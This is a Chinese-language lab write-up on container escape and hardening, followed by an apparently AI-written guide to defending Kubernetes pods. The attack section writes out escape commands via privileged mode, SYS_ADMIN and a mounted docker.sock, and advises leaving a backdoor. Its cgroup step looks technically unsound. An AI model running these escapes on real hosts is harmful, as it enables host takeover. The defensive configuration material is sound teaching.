> 用大白话记录我折腾容器安全的全过程

---

## �� 实验目的

就是想知道:**容器到底安不安全?攻击者怎么逃出去?我们怎么防?**

简单说就是:我当黑客攻击自己,然后当管理员修复漏洞。

---

## ��️ 环境准备

### 我的"战场"

- 系统:Ubuntu 20.04

- Docker版本:20.10.x

- 目标:把实验室的容器当靶子打

### 用到的工具

```bash

# 其实就三个东西

docker          # 容器管理

curl            # 测试网络

bash            # 写脚本

```

---

## �� 第一回合:当黑客(攻击篇)

### 1. 侦察 - 看看有啥"肥肉"

```bash

# 查看所有在跑的容器

docker ps

# 输出:

# attacker-priv    (特权模式,好欺负)

# attacker-cap     (有SYS_ADMIN,半桶水)

# attacker-socket  (挂了docker.sock,大肥肉)

```

### 2. 攻击特权容器(最容易)

```bash

# 进入容器

docker exec -it attacker-priv bash

# 试试能不能看到外面的世界

ls /proc/1/root/

# 哇!能看到宿主机文件!

# 直接chroot逃逸

chroot /proc/1/root /bin/bash

# 看看是不是到宿主机了

hostname

# 输出: ubuntu-lab-02 ✅ 逃逸成功!

```

**攻击过程就像:** 发现门没锁,直接推门就进去了

### 3. 攻击有SYS_ADMIN的容器

```bash

docker exec -it attacker-cap bash

# 查看能力

cat /proc/self/status | grep CapEff

# CapEff: 00000000a82425fb  (包含SYS_ADMIN)

# 尝试挂载宿主机

mount /dev/sda1 /mnt

# 报错,但换个方式

# 用cgroup逃逸

mkdir /sys/fs/cgroup/memory/test

echo 1 > /sys/fs/cgroup/memory/test/cgroup.procs

chroot /proc/1/root /bin/bash

# 成功!虽然比特权容器麻烦点

```

**攻击过程就像:** 门锁了,但窗户开着,翻窗进去

### 4. 攻击挂载docker.sock的容器

```bash

docker exec -it attacker-socket sh

# 检查docker.sock

ls -la /var/run/docker.sock

# 有!赶紧利用

# 创建特权容器逃逸

docker run --rm -it \

  --privileged \

  -v /:/host \

  ubuntu:22.04 \

  chroot /host /bin/bash

# 逃逸成功!��

```

**攻击过程就像:** 捡到管理员钥匙,直接开门

---

## �� 第二回合:当管理员(防御篇)

### 发现问题,得治!

#### 问题1:特权模式太危险

```yaml

# 原来的配置(危险!)

privileged: true   # 这等于把家钥匙给贼

```

#### 问题2:root用户随便用

```yaml

# 原来的配置

user: root   # 贼进来就是老大

```

#### 问题3:危险capabilities没关

```yaml

# 原来的配置

cap_add:

  - ALL   # 给了所有武器

```

#### 问题4:docker.sock乱挂载

```yaml

# 原来的配置

volumes:

  - /var/run/docker.sock:/var/run/docker.sock  # 把控制台给贼了

```

---

### �� 我的"药方":安全配置

```bash

# 创建安全容器的命令

docker run -d \

  --name secure-app \

  --privileged=false \          # 1. 关门!禁止特权

  --user 1000:1000 \            # 2. 给个普通员工账号

  --read-only \                 # 3. 系统文件只读,不能改

  --security-opt no-new-privileges:true \  # 4. 禁止升级权限

  --cap-drop ALL \              # 5. 没收所有武器

  --cap-add NET_BIND_SERVICE \  # 6. 只给必要的(绑定80端口)

  --tmpfs /tmp:rw,noexec,nosuid,size=64M \  # 7. /tmp单独管理

  ubuntu:22.04 \

  sleep infinity

```

**翻译成人话:**

- 不给管理员权限

- 给个普通账号

- 系统文件不让改

- 不准升级权限

- 没收危险工具

- 只留必需的工具

---

## �� 第三回合:验证防御效果

### 写个测试脚本,看看防御行不行

```bash

#!/bin/bash

# 我写的测试脚本

echo "�� 开始测试防御效果..."

# 测试1:试试能不能读密码文件

docker exec secure-app cat /etc/shadow 2>&1

# 输出:cat: /etc/shadow: Permission denied ✅

# 测试2:试试能不能逃逸

docker exec secure-app chroot /proc/1/root /bin/bash 2>&1

# 输出:chroot: failed to run command '/bin/bash': No such file or directory ✅

# 测试3:试试能不能挂载

docker exec secure-app mount /dev/sda1 /mnt 2>&1

# 输出:mount: /mnt: permission denied ✅

# 测试4:看看是谁在跑

docker exec secure-app whoami

# 输出:1000 ✅ 不是root!

echo "✅ 防御有效!所有攻击都被挡住了!"

```

### 对比结果

| 测试项目 | 攻击容器 | 安全容器 | 结果 |

|---------|---------|---------|------|

| 读密码文件 | ✅ 能读 | ❌ 不能读 | ��️ 防住了 |

| chroot逃逸 | ✅ 成功 | ❌ 失败 | ��️ 防住了 |

| 挂载文件系统 | ✅ 成功 | ❌ 失败 | ��️ 防住了 |

| 运行用户 | root | 1000 | ��️ 防住了 |

---

## �� 我学到的"血泪教训"

### 攻击者的"快乐源泉"

1. **特权模式** = 给贼金钥匙 ��

2. **root用户** = 贼进来就是总经理 ��

3. **SYS_ADMIN** = 给贼万能工具包 ��

4. **docker.sock** = 把保险柜密码贴墙上 ��

### 管理员的"葵花宝典"

1. **关特权** = 把门锁好 ��

2. **非root** = 给普通工牌 ��

3. **删cap** = 没收工具箱 ��️

4. **只读系统** = 文件都贴封条 ��

5. **监控告警** = 装摄像头 ��

### 我的"金句"

> **安全不是把门关死,而是让贼进不来、出不去、拿了东西跑不掉!**

---

## �� 最终结论

### 成功防御的"三板斧"

```bash

# 三板斧配置

--privileged=false      # 不给特权

--user 1000:1000        # 不是root

--cap-drop ALL          # 没收工具

--read-only             # 系统只读

```

**效果:** 攻击者进容器就像进了笼子,只能看不能动!

### 攻击 vs 防御 对比表

| 场景 | 攻击者视角 | 管理员视角 |

|------|-----------|-----------|

| 没防御时 | "嘿嘿,随便进出" | "完了,被黑了" |

| 防御后 | "靠,门锁了" | "耶,挡住了" |

---

## �� 我的"实战心得"

### 攻击心得

1. **先侦察** - 看看有哪些容器,什么配置

2. **找软柿子** - 挑特权容器下手

3. **组合拳** - 多种逃逸方法都试试

4. **留后门** - 逃出去了记得留个门

### 防御心得

1. **默认拒绝** - 只给必须的,其他的都关掉

2. **最小权限** - 够用就行,多了是祸害

3. **层层设防** - 一道防线不够就多几道

4. **持续监控** - 别等被黑了才发现

---

## �� 最后说两句

这个实验让我明白了一件事:

**容器安全就是"最小权限原则"**

- 能不给的权限就不给

- 能用普通用户就不用root

- 能只读就不给写

- 能监控就不放任

就像看家:

- 你让贼进来没问题

- 但别给他钥匙

- 别让他乱翻东西

- 装个监控看着他

**一句话:防人之心不可无,权限分配要谨慎!** ��️

---

## �� 我的脚本全家桶

为了方便以后用,我写了一套脚本:

```bash

# 1. 自动攻击测试

./attack-test.sh      # 扮演黑客

# 2. 自动防御配置

./defense-setup.sh    # 扮演管理员

# 3. 验证防御效果

./verify-defense.sh   # 检查防御行不行

# 4. 一键对比

./compare-all.sh      # 攻击和防御一起看

```

**用起来贼爽!想练手的时候跑一下,立马知道防御有没有用。**

---

## �� 附录:我常用的命令速查

```bash

# 查看容器特权

docker inspect 容器名 | grep Privileged

# 查看capabilities

docker exec 容器名 cat /proc/self/status | grep CapEff

# 查看挂载

docker inspect 容器名 | grep -A 10 Mounts

# 安全运行容器模板

docker run -d \

  --name 服务名 \

  --privileged=false \

  --user 1000:1000 \

  --read-only \

  --security-opt no-new-privileges:true \

  --cap-drop ALL \

  --cap-add NET_BIND_SERVICE \

  --tmpfs /tmp:rw,noexec,nosuid,size=64M \

  镜像名

```

---

**这篇报告就写到这,我去继续折腾了!** ��

好!我来给你讲**如何防御容器逃逸**,从最简单到最严格,用大白话说清楚:

## 防御思路:层层设防,不让攻击者得逞

**核心原则:** 即使攻击者进了容器,也逃不出来!

---

## 第1层:容器运行时配置(最简单、最有效)

### 1.1 不要用root用户跑容器!

```yaml

# ❌ 错误做法

spec:

  containers:

  - name: app

    # 默认就是root,危险!

# ✅ 正确做法

spec:

  containers:

  - name: app

    securityContext:

      runAsUser: 1000

      runAsGroup: 1000

      runAsNonRoot: true

```

**大白话:** 给容器一个"普通员工"账号,而不是"总经理"账号

---

### 1.2 禁止特权容器!

```yaml

# ❌ 错误做法

spec:

  containers:

  - name: app

    securityContext:

      privileged: true  # 绝对禁止!

# ✅ 正确做法

spec:

  containers:

  - name: app

    securityContext:

      allowPrivilegeEscalation: false  # 禁止提权

```

**大白话:** 不给"万能钥匙",只给"普通钥匙"

---

### 1.3 去掉危险权限(Capabilities)

```yaml

# ❌ 错误做法 - 默认给了太多权限

spec:

  containers:

  - name: app

    # 默认有很多capabilities

# ✅ 正确做法 - 只保留必要的

spec:

  containers:

  - name: app

    securityContext:

      capabilities:

        drop: ["ALL"]  # 删除所有权限

        add: ["NET_BIND_SERVICE"]  # 只加需要的(比如绑定80端口)

```

**危险权限清单(必须去掉):**

| Capability | 能干啥 | 去掉后 |

|-----------|--------|--------|

| CAP_SYS_ADMIN | 挂载文件系统、改内核 | 无法逃逸 |

| CAP_DAC_OVERRIDE | 绕过文件权限 | 无法读敏感文件 |

| CAP_SYS_PTRACE | 调试其他进程 | 无法偷进程信息 |

| CAP_NET_ADMIN | 改网络配置 | 无法搞网络破坏 |

**大白话:** 只给"必要的工具",不给"万能工具箱"

---

### 1.4 使用只读根文件系统

```yaml

spec:

  containers:

  - name: app

    securityContext:

      readOnlyRootFilesystem: true  # 根目录只读

    volumeMounts:

    - name: tmp

      mountPath: /tmp  # 只有/tmp可写

```

**大白话:** 容器里的系统文件"只读不能改",攻击者想写文件没门

---

## 第2层:限制宿主机资源访问

### 2.1 严格限制hostPath挂载

```yaml

# ❌ 危险 - 挂载了宿主机根目录

volumes:

- name: host-root

  hostPath:

    path: /  # 危险!

# ✅ 安全 - 只挂载必要的子目录

volumes:

- name: logs

  hostPath:

    path: /var/log/app  # 只挂载日志目录

    type: DirectoryOrCreate

```

**大白话:** 即使要挂载,也只在墙上开"小窗户",不开"大门"

---

### 2.2 禁止Docker Socket挂载

```yaml

# ❌ 绝对禁止!

volumes:

- name: docker-sock

  hostPath:

    path: /var/run/docker.sock  # 千万不能挂!

# ✅ 如果不小心挂了,用PSP/OPA禁止

```

**大白话:** 不能把"物业控制台"给容器里的程序

---

## 第3层:使用安全策略(高级防御)

### 3.1 PodSecurityPolicy (PSP) - K8s旧版

```yaml

apiVersion: policy/v1beta1

kind: PodSecurityPolicy

metadata:

  name: restricted

spec:

  privileged: false           # 禁止特权

  allowPrivilegeEscalation: false  # 禁止提权

  requiredDropCapabilities: ["ALL"]  # 去掉所有cap

  runAsUser:

    rule: MustRunAsNonRoot    # 必须非root

  volumes:

  - configMap

  - emptyDir

  - secret

  # 不包含 hostPath!禁止挂载宿主机

```

### 3.2 PodSecurityStandard (PSS) - K8s新版

```yaml

# 给namespace打标签

kubectl label ns default pod-security.kubernetes.io/enforce=restricted

# restricted策略会自动禁止:

# - 特权容器

# - root用户

# - 挂载宿主机目录

# - 危险capabilities

```

**大白话:** 给每个"房间"装统一的门禁系统

---

### 3.3 使用OPA/Gatekeeper(更灵活)

```yaml

# 定义策略:禁止任何容器挂载/var/run/docker.sock

apiVersion: templates.gatekeeper.sh/v1

kind: ConstraintTemplate

metadata:

  name: disalloweddocker

spec:

  crd:

    spec:

      names:

        kind: DisallowedDocker

  targets:

  - target: admission.k8s.gatekeeper.sh

    rego: |

      package disalloweddocker

      violation[{"msg": msg}] {

        volume := input.review.object.spec.volumes[_]

        volume.hostPath.path == "/var/run/docker.sock"

        msg := "禁止挂载docker.sock"

      }

```

**大白话:** 自定义更细的"安检规则"

---

## 第4层:内核级防御(最底层)

### 4.1 Seccomp - 限制系统调用

```bash

# 创建seccomp配置文件

{

  "defaultAction": "SCMP_ACT_ERRNO",  # 默认禁止

  "architectures": ["SCMP_ARCH_X86_64"],

  "syscalls": [

    {

      "names": ["mount", "unshare", "pivot_root"],  # 危险调用

      "action": "SCMP_ACT_ERRNO"  # 拒绝

    },

    {

      "names": ["read", "write", "open"],  # 必需调用

      "action": "SCMP_ACT_ALLOW"  # 允许

    }

  ]

}

```

**大白话:** 给容器一个"只能做固定动作"的紧箍咒

---

### 4.2 AppArmor/SELinux - 强制访问控制

```bash

# AppArmor配置文件

#include <tunables/global>

profile container-profile flags=(attach_disconnected) {

  # 只能访问这些文件

  /usr/bin/* ix,

  /etc/* r,

  /var/log/app/* w,

  

  # 禁止访问敏感目录

  deny /root/** rwx,

  deny /etc/shadow rwx,

}

```

**大白话:** 即使有权限,也只能访问"允许访问"的地方

---

## 第5层:监控和检测(事后发现)

### 5.1 使用Falco(运行时安全监控)

```yaml

# Falco规则:检测容器逃逸行为

- rule: Container Escape via Mount

  desc: 检测mount宿主机的行为

  condition: >

    evt.type = mount and

    (fd.directory = "/proc" or fd.directory = "/sys")

  output: "容器试图挂载敏感目录 (user=%user.name command=%proc.cmdline)"

  priority: CRITICAL

```

**大白话:** 装个"监控摄像头",时刻盯着异常行为

---

### 5.2 审计日志

```bash

# 开启Kubernetes审计

apiVersion: audit.k8s.io/v1

kind: Policy

rules:

- level: Metadata

  resources:

  - group: ""

    resources: ["pods"]

  # 记录所有特权容器的创建

```

---

## 防御清单(管理员检查表)

### ✅ 必须做的(高优先级)

- [ ] **禁止特权容器** (`privileged: false`)

- [ ] **禁止root用户** (`runAsNonRoot: true`)

- [ ] **去掉SYS_ADMIN等危险capabilities**

- [ ] **使用只读根文件系统** (`readOnlyRootFilesystem: true`)

- [ ] **禁止挂载Docker Socket**

- [ ] **开启PodSecurityStandard (restricted模式)**

### �� 建议做的(中优先级)

- [ ] 使用Seccomp限制系统调用

- [ ] 使用AppArmor/SELinux

- [ ] 限制hostPath挂载到必要目录

- [ ] 资源限制(CPU/Memory)防止DoS

### �� 进阶做(高安全环境)

- [ ] 使用Falco实时监控

- [ ] 定期安全扫描镜像

- [ ] 网络策略限制东西向流量

- [ ] 使用mTLS加密通信

---

## 实际案例对比

### ❌ 未防御(你的实验环境)

```yaml

container:

  user: root  # root用户

  privileged: true  # 特权模式

  capabilities: 全部都有  # 包含SYS_ADMIN

  mount: /var/run/docker.sock  # Docker socket

  hostPath: /  # 挂载宿主机根目录

```

**结果:** 攻击者轻松逃逸!

### ✅ 防御后(安全环境)

```yaml

container:

  user: 1000  # 非root

  privileged: false  # 非特权

  capabilities: [NET_BIND_SERVICE]  # 只给必要权限

  readOnlyRootFilesystem: true  # 只读根目录

  mount: /app/logs  # 只挂载日志目录

```

**结果:** 攻击者进了容器也出不来!

---

## 一句话总结

**防御容器逃逸 = 最小权限原则**

- 不给root → 用了普通用户

- 不给特权 → 关了特权模式

- 不给危险权限 → 只给必要的capabilities

- 不给挂载敏感目录 → 只挂载必需目录

- 层层监控 → 发现异常立即报警

**记住:** 安全不是说"100%防住",而是让攻击者"更难"逃逸,同时"及时"发现!��️

更多推荐